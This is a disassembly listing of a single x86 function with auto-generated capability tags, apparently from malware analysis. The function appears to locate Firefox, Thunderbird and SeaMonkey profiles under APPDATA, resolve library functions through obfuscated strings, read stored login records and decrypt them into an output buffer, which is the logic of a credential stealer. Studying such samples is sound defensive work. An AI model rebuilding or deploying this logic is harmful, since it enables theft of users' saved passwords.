Function at 0x410aa1
Capabilities:
Query environment variable
Read file on windows

Disassembly:
push ebx
mov eax, 0x15d8
call fcn.0041ce38
sub esp, eax
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov eax, dword [esp + 0x15e0]
cmp eax, 2
je 0x410bbf
cmp eax, 6
je 0x410c9e
cmp eax, 1
jne 0x410d78
lea eax, [esp + 0x14a4]
mov dword [esp + 8], eax
lea eax, [esp + 0x1554]
mov dword [esp + 4], eax
mov dword [esp], str.Mozilla_Firefox
call fcn.0041065e
xor eax, 1
test al, al
je 0x410b13
mov eax, 0
jmp 0x41199a
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov ebx, eax
mov dword [esp], str._6FWk4iiC_40d8Wf_s0W84id6.4R4
call fcn.0040b60e
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
lea eax, [esp + 0x1260]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 8], 0x40
lea eax, [esp + 0x1464]
mov dword [esp + 4], eax
lea eax, [esp + 0x1260]
mov dword [esp], eax
call fcn.00410324
test al, al
je 0x411972
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov ebx, eax
mov dword [esp], str._6FWk4iiC_40d8Wf_6
call fcn.0040b60e
lea edx, [esp + 0x1464]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
lea eax, [esp + 0x1260]
mov dword [esp], eax
call fcn.00419fa8
jmp 0x410d78
lea eax, [esp + 0x14a4]
mov dword [esp + 8], eax
lea eax, [esp + 0x1554]
mov dword [esp + 4], eax
mov dword [esp], str.Mozilla_Thunderbird
call fcn.0041065e
xor eax, 1
test al, al
je 0x410bf2
mov eax, 0
jmp 0x41199a
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov ebx, eax
mov dword [esp], str._6qIQRSd0V40S_s0W84id6.4R4
call fcn.0040b60e
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
lea eax, [esp + 0x1260]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 8], 0x40
lea eax, [esp + 0x1464]
mov dword [esp + 4], eax
lea eax, [esp + 0x1260]
mov dword [esp], eax
call fcn.00410324
test al, al
je 0x411975
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov ebx, eax
mov dword [esp], str._6qIQRSd0V40S_6
call fcn.0040b60e
lea edx, [esp + 0x1464]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
lea eax, [esp + 0x1260]
mov dword [esp], eax
call fcn.00419fa8
jmp 0x410d78
lea eax, [esp + 0x14a4]
mov dword [esp + 8], eax
lea eax, [esp + 0x1554]
mov dword [esp + 4], eax
mov dword [esp], str.SeaMonkey
call fcn.0041065e
xor eax, 1
test al, al
je 0x410cd1
mov eax, 0
jmp 0x41199a
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov ebx, eax
mov dword [esp], str._6FWk4iiCMdCFWRwdZ_s0W84id6.4R4
call fcn.0040b60e
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
lea eax, [esp + 0x1260]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp + 8], 0x40
lea eax, [esp + 0x1464]
mov dword [esp + 4], eax
lea eax, [esp + 0x1260]
mov dword [esp], eax
call fcn.00410324
test al, al
je 0x411978
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov ebx, eax
mov dword [esp], str._6FWk4iiCMdCFWRwdZ_6
call fcn.0040b60e
lea edx, [esp + 0x1464]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
lea eax, [esp + 0x1260]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp], str._664nRWR6.67i45d
call fcn.0040b60e
lea edx, [esp + 0x1260]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
lea eax, [esp + 0x105c]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp], str._6iWn4R6.e6WR
call fcn.0040b60e
lea edx, [esp + 0x1260]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x204
lea eax, [esp + 0xe58]
mov dword [esp], eax
call fcn.00419fa8
mov dword [esp], str.LMMpXR45
call fcn.0040b60e
mov edx, dword [esp + 0x156c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x15c0], eax
cmp dword [esp + 0x15c0], 0
jne 0x410e16
mov eax, 0
jmp 0x41199a
mov dword [esp], str.9HGGpEd5XR5d0RCiHdZMiW5
call fcn.0040b60e
mov edx, dword [esp + 0x156c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x15bc], eax
cmp dword [esp + 0x15bc], 0
jne 0x410e50
mov eax, 0
jmp 0x41199a
mov dword [esp], str.9HGGpDQ5IdR54YC5d
call fcn.0040b60e
mov edx, dword [esp + 0x156c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x15b8], eax
cmp dword [esp + 0x15b8], 0
jne 0x410e8a
mov eax, 0
jmp 0x41199a
mov dword [esp], str.9mpcC6doOadYWSd
call fcn.0040b60e
mov edx, dword [esp + 0x156c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x15b4], eax
cmp dword [esp + 0x15b4], 0
jne 0x410ec4
mov eax, 0
jmp 0x41199a
mov dword [esp], str.MjPXqjFpx80ddX5dl
call fcn.0040b60e
mov edx, dword [esp + 0x156c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x15b0], eax
cmp dword [esp + 0x15b0], 0
jne 0x410efe
mov eax, 0
jmp 0x41199a
mov dword [esp], str.9HGGMarpadY0Zs5
call fcn.0040b60e
mov edx, dword [esp + 0x156c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x15ac], eax
cmp dword [esp + 0x15ac], 0
jne 0x410f38
mov eax, 0
jmp 0x41199a
mov dword [esp], str.9HGGp_0ddMiW5
call fcn.0040b60e
mov edx, dword [esp + 0x156c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x15a8], eax
cmp dword [esp + 0x15a8], 0
jne 0x410f72
mov eax, 0
jmp 0x41199a
mov dword [esp], str.LMMpMIQ5SWgR
call fcn.0040b60e
mov edx, dword [esp + 0x156c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x15a4], eax
cmp dword [esp + 0x15a4], 0
jne 0x410fac
mov eax, 0
jmp 0x41199a
mov dword [esp], str.67i45dNpWsdR
call fcn.0040b60e
mov edx, dword [esp + 0x1558]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x15a0], eax
cmp dword [esp + 0x15a0], 0
jne 0x410fe6
mov eax, 0
jmp 0x41199a
mov dword [esp], str.67i45dNpYiW6d
call fcn.0040b60e
mov edx, dword [esp + 0x1558]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x159c], eax
cmp dword [esp + 0x159c], 0
jne 0x411020
mov eax, 0
jmp 0x41199a
mov dword [esp], str.67i45dNps0dsC0dp2h
call fcn.0040b60e
mov edx, dword [esp + 0x1558]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x1598], eax
cmp dword [esp + 0x1598], 0
jne 0x41105a
mov eax, 0
jmp 0x41199a
mov dword [esp], str.67i45dNp65ds
call fcn.0040b60e
mov edx, dword [esp + 0x1558]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x1594], eax
cmp dword [esp + 0x1594], 0
jne 0x411094
mov eax, 0
jmp 0x41199a
mov dword [esp], str.67i45dNpYWiQlRp5df5
call fcn.0040b60e
mov edx, dword [esp + 0x1558]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.0040b4ff
mov dword [esp + 0x1590], eax
cmp dword [esp + 0x1590], 0
jne 0x4110ce
mov eax, 0
jmp 0x41199a
lea eax, [esp + 0x105c]
mov dword [esp], eax
call fcn.0040aa34
test al, al
je 0x4114c7
lea eax, [esp + 0x3c]
mov dword [esp + 4], eax
lea eax, [esp + 0x105c]
mov dword [esp], eax
mov eax, dword [esp + 0x15a0]
call eax
test eax, eax
je 0x41110e
mov eax, 0
jmp 0x41199a
mov dword [esp], str.6didY5___80Wl_lWkpiWn4R6
call fcn.0040b60e
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov dword [esp], str.6didY5___80Wl_lWkpiWn4R6
call fcn.0040b60e
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x34]
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x38]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [esp + 0x1598]
call eax
test eax, eax
jne 0x4114c7
lea eax, [esp + 0x1260]
mov dword [esp], eax
mov eax, dword [esp + 0x15c0]
call eax
test eax, eax
jne 0x4114c7
mov eax, dword [esp + 0x15bc]
call eax
mov dword [esp + 0x158c], eax
cmp dword [esp + 0x158c], 0
je 0x4114be
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [esp + 0x158c]
mov dword [esp], eax
mov eax, dword [esp + 0x15b8]
call eax
test eax, eax
jne 0x4114ab
mov dword [esp + 0x15cc], 0
mov dword [esp + 0x1588], 0
mov eax, dword [esp + 0x38]
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [esp + 0x1590]
call eax
mov dword [esp + 0x1584], eax
cmp dword [esp + 0x1584], 0
je 0x411492
mov eax, dword [esp + 0x38]
mov dword [esp + 4], 6
mov dword [esp], eax
mov eax, dword [esp + 0x1590]
call eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], eax
lea eax, [esp + 0x258]
mov dword [esp], eax
call fcn.00419918
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
lea eax, [esp + 0x258]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea edx, [esp + 0x658]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x258]
mov dword [esp], eax
mov eax, dword [esp + 0x15b4]
call eax
test eax, eax
je 0x41148b
lea eax, [esp + 0x658]
mov dword [esp + 0x50], eax
lea eax, [esp + 0x258]
mov dword [esp], eax
call fcn.00405ca7
mov dword [esp + 0x54], eax
mov dword [esp + 8], 0
lea eax, [esp + 0x40]
mov dword [esp + 4], eax
lea eax, [esp + 0x4c]
mov dword [esp], eax
mov eax, dword [esp + 0x15ac]
call eax
test eax, eax
jne 0x41148e
mov eax, dword [esp + 0x54]
test eax, eax
je 0x411492
mov eax, dword [esp + 0x48]
lea edx, [eax + 1]
mov eax, dword [esp + 0x44]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x258]
mov dword [esp], eax
call fcn.00419918
mov eax, dword [esp + 0x38]
mov dword [esp + 4], 7
mov dword [esp], eax
mov eax, dword [esp + 0x1590]
call eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], eax
lea eax, [esp + 0x58]
mov dword [esp], eax
call fcn.00419918
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
lea eax, [esp + 0x58]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea edx, [esp + 0x658]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x58]
mov dword [esp], eax
mov eax, dword [esp + 0x15b4]
call eax
lea eax, [esp + 0x658]
mov dword [esp + 0x50], eax
lea eax, [esp + 0x58]
mov dword [esp], eax
call fcn.00405ca7
mov dword [esp + 0x54], eax
mov dword [esp + 8], 0
lea eax, [esp + 0x40]
mov dword [esp + 4], eax
lea eax, [esp + 0x4c]
mov dword [esp], eax
mov eax, dword [esp + 0x15ac]
call eax
test eax, eax
jne 0x411491
mov eax, dword [esp + 0x54]
test eax, eax
je 0x411492
mov eax, dword [esp + 0x48]
cmp eax, 0x1ff
ja 0x411492
mov eax, dword [esp + 0x48]
lea edx, [eax + 1]
mov eax, dword [esp + 0x44]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x58]
mov dword [esp], eax
call fcn.00419918
lea eax, [esp + 0x58]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x258]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1584]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x15e0]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c_s_a_s_a_s_b_b_b_b
lea eax, [esp + 0x30]
mov dword [esp], eax
call fcn.00419f10
mov dword [esp + 0x1588], eax
cmp dword [esp + 0x1588], 0xffffffff
je 0x411471
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x1588]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x30]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x15cc]
mov dword [esp + 4], eax
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x1588]
add dword [esp + 0x15cc], eax
mov dword [esp + 4], 0
lea eax, [esp + 0x40]
mov dword [esp], eax
mov eax, dword [esp + 0x15b0]
call eax
jmp 0x411492
nop
jmp 0x411492
nop
jmp 0x411492
nop
mov eax, dword [esp + 0x38]
mov dword [esp], eax
mov eax, dword [esp + 0x1594]
call eax
cmp eax, 0x64
je 0x4111da
mov eax, dword [esp + 0x158c]
mov dword [esp], eax
mov eax, dword [esp + 0x15a8]
call eax
mov eax, dword [esp + 0x15a4]
call eax
lea eax, [esp + 0xe58]
mov dword [esp], eax
call fcn.0040aa34
test al, al
je 0x41197c
mov dword [esp + 4], 0x41fbc7
lea eax, [esp + 0xe58]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [esp + 0x1580], eax
cmp dword [esp + 0x1580], 0
je 0x41197b
lea eax, [esp + 0xe58]
mov dword [esp], eax
call fcn.0040ac70
mov dword [esp + 0x157c], eax
mov eax, dword [esp + 0x157c]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
test eax, eax
jne 0x41154f
mov eax, dword [esp + 0x1580]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
jmp 0x41197c
mov edx, dword [esp + 0x157c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x1580]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov eax, dword [esp + 0x1580]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
lea eax, [esp + 0x1260]
mov dword [esp], eax
mov eax, dword [esp + 0x15c0]
call eax
test eax, eax
jne 0x411964
mov eax, dword [esp + 0x15bc]
call eax
mov dword [esp + 0x158c], eax
cmp dword [esp + 0x158c], 0
je 0x41195b
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [esp + 0x158c]
mov dword [esp], eax
mov eax, dword [esp + 0x15b8]
call eax
test eax, eax
jne 0x411948
mov dword [esp + 0x15c8], 0
mov dword [esp + 0x1578], 0
mov dword [esp + 0x15c4], 0
jmp 0x411900
mov dword [esp], str.IW65RCld
call fcn.0040b60e
mov edx, dword [esp + 0x28]
mov dword [esp + 0x10], 0x200
lea ecx, [esp + 0x458]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x15c4]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004109b4
xor eax, 1
test al, al
jne 0x411941
mov dword [esp], str.dRY0Zs5dSu6d0RCld
call fcn.0040b60e
mov edx, dword [esp + 0x28]
mov dword [esp + 0x10], 0x200
lea ecx, [esp + 0x258]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x15c4]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004109b4
xor eax, 1
test al, al
jne 0x411944
mov dword [esp], str.dRY0Zs5dS9C66gW0S
call fcn.0040b60e
mov edx, dword [esp + 0x28]
mov dword [esp + 0x10], 0x200
lea ecx, [esp + 0x58]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x15c4]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004109b4
xor eax, 1
test al, al
jne 0x411947
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
lea eax, [esp + 0x258]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea edx, [esp + 0x658]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x258]
mov dword [esp], eax
mov eax, dword [esp + 0x15b4]
call eax
test eax, eax
jne 0x411728
jmp 0x411900
lea eax, [esp + 0x658]
mov dword [esp + 0x50], eax
lea eax, [esp + 0x258]
mov dword [esp], eax
call fcn.00405ca7
mov dword [esp + 0x54], eax
mov dword [esp + 8], 0
lea eax, [esp + 0x40]
mov dword [esp + 4], eax
lea eax, [esp + 0x4c]
mov dword [esp], eax
mov eax, dword [esp + 0x15ac]
call eax
test eax, eax
je 0x41176f
jmp 0x411900
mov eax, dword [esp + 0x54]
test eax, eax
je 0x411900
mov eax, dword [esp + 0x48]
lea edx, [eax + 1]
mov eax, dword [esp + 0x44]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x258]
mov dword [esp], eax
call fcn.00419918
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
lea eax, [esp + 0x58]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea edx, [esp + 0x658]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x58]
mov dword [esp], eax
mov eax, dword [esp + 0x15b4]
call eax
lea eax, [esp + 0x658]
mov dword [esp + 0x50], eax
lea eax, [esp + 0x58]
mov dword [esp], eax
call fcn.00405ca7
mov dword [esp + 0x54], eax
mov dword [esp + 8], 0
lea eax, [esp + 0x40]
mov dword [esp + 4], eax
lea eax, [esp + 0x4c]
mov dword [esp], eax
mov eax, dword [esp + 0x15ac]
call eax
test eax, eax
je 0x41181c
jmp 0x411900
mov eax, dword [esp + 0x54]
test eax, eax
je 0x411900
mov eax, dword [esp + 0x48]
cmp eax, 0x1ff
ja 0x411900
mov eax, dword [esp + 0x48]
lea edx, [eax + 1]
mov eax, dword [esp + 0x44]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x58]
mov dword [esp], eax
call fcn.00419918
lea eax, [esp + 0x58]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x258]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x458]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x15e0]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c_s_a_s_a_s_b_b_b_b
lea eax, [esp + 0x30]
mov dword [esp], eax
call fcn.00419f10
mov dword [esp + 0x1578], eax
cmp dword [esp + 0x1578], 0xffffffff
je 0x4118e8
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x1578]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x30]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x15c8]
mov dword [esp + 4], eax
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.0041a022
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x1578]
add dword [esp + 0x15c8], eax
mov dword [esp + 4], 0
lea eax, [esp + 0x40]
mov dword [esp], eax
mov eax, dword [esp + 0x15b0]
call eax
mov ebx, dword [esp + 0x28]
mov dword [esp], str.IW65RCld
call fcn.0040b60e
mov edx, dword [esp + 0x15c4]
add edx, 1
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00419b7e
mov dword [esp + 0x15c4], eax
cmp dword [esp + 0x15c4], 0xffffffff
jne 0x411612
jmp 0x411948
nop
jmp 0x411948
nop
jmp 0x411948
nop
mov eax, dword [esp + 0x158c]
mov dword [esp], eax
mov eax, dword [esp + 0x15a8]
call eax
mov eax, dword [esp + 0x15a4]
call eax
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.0040b4bf
jmp 0x41197c
nop
jmp 0x41197c
nop
jmp 0x41197c
nop
jmp 0x41197c
nop
lea eax, [esp + 0x14a4]
mov dword [esp + 4], eax
lea eax, [esp + 0x1554]
mov dword [esp], eax
call fcn.004105f4
mov eax, dword [esp + 0x2c]
add esp, 0x15d8
pop ebx
ret